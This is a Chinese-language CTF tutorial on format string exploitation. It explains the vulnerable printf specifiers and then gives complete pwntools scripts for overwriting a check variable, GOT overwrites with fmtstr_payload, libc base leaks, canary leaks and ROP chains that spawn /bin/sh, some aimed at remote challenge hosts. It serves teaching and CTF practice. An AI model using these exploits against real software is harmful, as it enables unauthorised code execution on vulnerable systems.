格式化字符串漏洞 格式化字符串漏洞函数:
以printf函数为例,它的第一个参数就是格式化字符串:“Color %s,Number %d,Float %4.2f”
然后printf函数会根据这个格式化字符串来解析对应的其它参数。
漏洞原理利用: 程序崩溃: 最简单的的攻击方法,只需要输入一串%s就可以
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
对于每一个 %s,printf() 都会从栈上取一个数字,把该数字视为地址,然后打印出该地址指向的内存内容,由于不可能获取的每一个数字都是地址,所以数字对应的内容可能不存在,或者这个地址是被保护的,那么便会使程序崩溃
在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV 信号,从而使程序非正常终止并产生核心转储
基本的格式化字符串漏洞的格式
%c为单个字符形式
%s为多个字符形式
%d为数字形式
%f是转为浮点型
%x是转为十六进制形式,不带0x
%p是转为十六进制,但是带0x
%n 将%n之前打印出来的字符的个数存入到参数中
一、常规题型
存在格式化字符串,满足条件之后执行shell
类似于
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __cdecl main (int argc, const char **argv, const char **envp) { init (&argc); logo (); ctfshow (); if ( daniu == 6 ) { puts ("daniu praise you for a good job!" ); system ("/bin/sh" ); } return 0 ; } unsigned int ctfshow () { char s[80 ]; unsigned int v2; v2 = __readgsdword(0x14u ); memset (s, 0 , sizeof (s)); read (0 , s, 0x50u ); printf (s); printf ("daniu now is :%d!\n" , daniu); return __readgsdword(0x14u ) ^ v2; }
根据格式化字符串找偏移,然后正常打
1 2 3 4 5 6 7 8 from pwn import *p=process('./pwn' ) payload=P32(0x804B038 )+b'aa' +"%7$n" p.sendline(payload) p.interactive()
简单解释一下payload,前面的p32()是我们daniu(这里的题目环境是他在bss段上),因为要满足为6,所以在前面补了一个b’aa’
二、修改GOT表 主要遇到的函数
payload = fmtstr_payload(offset,{printf_got:system_plt})
32位修改GOT表 1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.log_level = 'debug' io = remote('127.0.0.1' ,10000 ) elf = ELF('./pwn' ) offset = 6 printf_got = elf.got['printf' ] system_plt = elf.plt['system' ] payload = fmtstr_payload(offset,{printf_got:system_plt}) io.sendline(payload) io.recv() io.sendline('/bin/sh\x00' ) io.interactive()
64位修改GOT表
题目:NewstarCTF-easy fmt
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context.log_level = 'debug' context.arch = 'amd64' context.os='linux' elf = ELF('./pwn' ) libc=ELF("./libc.so.6" ) p = process('./pwn' ) printf_got = elf.got['printf' ] payload1 = b"AAAA" +b"%9$s" + p64(printf_got) p.recvuntil('data: ' ) p.sendline(payload1) p.recvuntil('AAAA' ) printf_addr = u64(p.recvuntil("\x7f" ).ljust(8 ,b"\x00" )) print (f"printf_addr: {hex (printf_addr)} " )libc_base= printf_addr -libc.sym["printf" ] print (f"libc_base: {hex (libc_base)} " )system = libc_base + libc.sym["system" ] print (f"system_addr: {hex (system)} " )pay =b'%' +str (system&0xffff ).encode() +b'c%12$hn' pay+=b'%' +str ((system>>16 &0xffff )-(system&0xffff )).encode() +b'c%13$hn' pay=pay.ljust(0x20 ,b'\x00' )+p64(printf_got)+p64(printf_got+2 ) p.recvuntil("data: " ) p.send(pay) p.recvuntil("data: " ) p.send(b'/bin/sh\x00' ) p.interactive()
这里注意到的是因为我们泄露的地址一般为6字节,但是我们接收的是8字节,一般前面还要补齐两字节的0,但是一般是不显示的。
所以我们改写只是后三个字节。分为高16字节和低16字节。
当没有system函数时,利用泄露libc基址,获得system函数地址。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *elf = ELF('./1111' ) libc=ELF("./libc6_2.31-0ubuntu9.8_i386.so" ) p = process('./1111' ) printf_got = elf.got['printf' ] payload =p32(printf_got)+b"%6$s" p.sendline(payload) printf_addr= u32(p.recvuntil('\xf7' )[-4 :]) print (hex (printf_addr))libc_base= printf_addr -libc.sym["printf" ] print (hex (libc_base))system_addr = libc_base + libc.sym["system" ] payload=fmtstr_payload(6 ,{elf.got['printf' ]:system_addr}) p.sendline(payload) p.sendline("/bin/sh\x00" ) p.interactive()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *p=remote('39.106.48.123' , 38932 ) elf=ELF('./pwn' ) libc=ELF('./libc.so.6' ) payload='%15$p' p.sendline(payload) p.recvuntil('0x' ) canary = int (p.recv(16 ),16 ) print (hex (canary))puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x0000401228 pop_rdi =0x00000000004011bd ret_addr=0x000000000040101a p.recvuntil('data: ' ) payload = b'a' *(0x40 -8 )+p64(canary)+p64(0xdeadbeef )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt) + p64(main) p.sendline(payload) p.recv() puts_addr = u64(p.recv(6 ).ljust(8 ,b'\x00' )) print (hex (puts_addr))libc_base = puts_addr - libc.sym["puts" ] print (hex (libc_base))system_addr = libc_base+libc.sym["system" ] bin_sh = libc_base+libc.search(b"/bin/sh\x00" ).__next__() print (hex (system_addr))print (hex (bin_sh))p.recvuntil('data: ' ) payload = b'a' *(0x40 -8 )+p64(canary)+p64(0xdeadbeef )+p64(ret_addr)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr) p.sendlineafter('input: ' ,payload) p.interactive()
三、泄露canary
格式化字符串泄露canary 首先确认我们要知道的canary的位置,距离ebp的距离然后,在gdb调试找一下偏移
之后利用漏洞泄露canary的值
然后正常ROP链构造就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * context.log_level = 'debug' io = remote('pwn.challenge.ctf.show' ,28206 ) elf = ELF('./pwn' ) shell = elf.sym['__stack_check' ] io.recv() payload = "%15$x" io.sendline(payload) canary = int (io.recv(),16 ) log.info("Canary : 0x%x" % canary) payload = cyclic(0x28 ) + p32(canary) + 'A' *0xC + p32(shell) io.sendline(payload) io.interactive()